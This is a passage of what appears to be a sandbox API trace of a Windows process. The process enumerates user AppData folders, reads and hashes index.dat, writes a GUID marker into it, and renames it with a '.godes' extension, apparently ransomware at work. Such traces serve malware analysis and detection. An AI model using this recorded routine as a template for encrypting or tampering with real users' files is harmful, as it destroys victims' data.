nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0115.018] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0115.018] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0115.018] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0115.019] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0115.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0115.019] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0115.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0115.019] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0115.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0115.019] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0115.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0115.019] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0115.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0115.019] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0115.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0115.019] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0115.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0115.019] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0115.019] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.020] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.020] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.020] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0115.020] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0115.020] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0115.020] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.020] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.020] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.020] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.020] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.021] PathFindFileNameW (pszPath="") returned="" [0115.021] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.021] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.021] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0115.022] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0115.022] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0115.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0115.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.022] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=32768) returned 1 [0115.022] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.024] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.024] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.025] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.025] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x8000, lpOverlapped=0x0) returned 1 [0115.026] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.026] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.026] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.026] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.027] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.027] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.027] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.027] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.027] GetLastError () returned 0x0 [0115.027] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.027] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.027] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.027] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.027] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.028] CloseHandle (hObject=0x624) returned 1 [0115.028] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0115.028] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x331e748 [0115.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0115.029] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.godes")) returned 1 [0115.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.029] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.030] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0115.030] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0115.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0115.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32519b8 [0115.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa8) returned 0x3206400 [0115.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320288 [0115.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x3236620 [0115.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251cd8 [0115.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251da0 [0115.030] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32367d0 | out: hHeap=0x660000) returned 1 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0115.031] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32519b8 | out: hHeap=0x660000) returned 1 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0115.031] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0115.031] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0115.031] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32519b8 [0115.031] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32519b8 | out: hHeap=0x660000) returned 1 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0115.031] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0115.031] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ecb8 | out: hHeap=0x660000) returned 1 [0115.031] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.031] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ecb8 [0115.031] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.031] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.031] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.031] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.031] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.031] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, 